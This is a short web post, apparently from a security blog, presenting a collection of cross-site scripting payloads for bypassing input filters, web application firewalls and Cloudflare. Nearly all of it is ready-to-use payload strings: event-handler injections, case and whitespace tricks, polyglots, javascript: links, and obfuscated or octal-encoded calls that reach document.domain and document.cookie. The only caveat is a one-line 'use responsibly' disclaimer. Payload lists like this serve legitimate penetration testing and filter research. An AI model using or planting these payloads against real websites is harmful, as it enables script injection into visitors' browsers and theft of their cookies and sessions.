BOOK THIS SPACE FOR AD
ARTICLE ADCross-Site Scripting (XSS) vulnerabilities continue to be one of the most common security challenges faced by web applications. This post provides a collection of XSS payloads for educational purposes, showcasing bypass techniques for filters, Web Application Firewalls (WAFs), and encoding strategies. Use responsibly!
<img//////src=x oNlY=1 oNerror=alert('xss')//><details open ontoggle="(()=>alert`ibrahimxss`)()"></details>
<dETAILS%0aopen%0aonToGgle%0a%3d%0aa%3dprompt,a(origin)%20x>">
<body/oNpagEshoW=(confirm)(document.domain)>
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //>
<svg onload="alert(1)" <="" svg=""><input type="hidden" oncontentvisibilityautostatechange="confirm(/Bypassed/)" style="content-visibility:auto"><noscript><p title="</noscript><img src=x onerror=([,O,B,J,E,C,,]=[]+{},[T,R,U,E,F,A,L,S,,,N]=[!!O]+!O+B.E)[X=C+O+N+S+T+R+U+C+T+O+R][X](A+L+E+R+T+(document.cookie))()>">
<Svg%20Only=1%20OnLoad=confirm(atob(%27Q2xvdWRmbGFyZSBieXBhc3NlZA==%27))>
"%2Bself[%2F*foo*%2F'alert'%2F*bar*%2F](self[%2F*foo*%2F'document'%2F*bar*%2F]['domain'])%2F%2F
<input accesskey=X onclick="self['wind'+'ow']['one'+'rror']=alert;throw 1337;">
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click
Cloudflare Bypass
onxss=><svg/ONLoad=alert(cookie)+xONxss=><details open ontoggle=prompt(document.domain)+x
Using Polyglots
--><h2></div></div><script>alert(1)</script>Character Encoding with Octal Escape Sequences
<iframe on only=1 onload="[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\144\157\143\165\155\145\156\164\56\144\157\155\141\151\156\51')()"><iframe on only=1 onload="[][ 'filter' ][ 'constructor' ]( 'alert(document.domain)' )()">